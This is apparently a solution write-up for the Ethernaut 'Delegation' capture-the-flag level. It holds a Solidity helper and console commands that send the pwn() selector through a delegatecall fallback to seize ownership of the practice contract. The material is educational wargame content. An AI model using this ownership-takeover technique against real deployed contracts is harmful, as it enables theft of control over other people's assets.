Level 6 - Delegation - Ethernaut

DelegationHack.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract DelegationHack {

    function delegationHack() public pure returns (bytes memory) {
        bytes memory functionID = abi.encodeWithSignature("pwn()");
        return functionID;
    }
}
     

Option 1:

1. deploy a contract to get the 4 bytes signature of the function pwn()
2. await contract.sendTransaction({data: "0xdd365b8b"}); // function ID, selector or signature

Option 2:

1. Call the pwn() function
   const data = web3.utils.sha3("pwn()"); // this retrieves the complete hash instead of the first 4 bytes
2. Pass this information to the data property which will assign msg.data
   await contract.sendTransaction({ data });

Finally, check on who’s now the owner of the contract:
await contract.owner();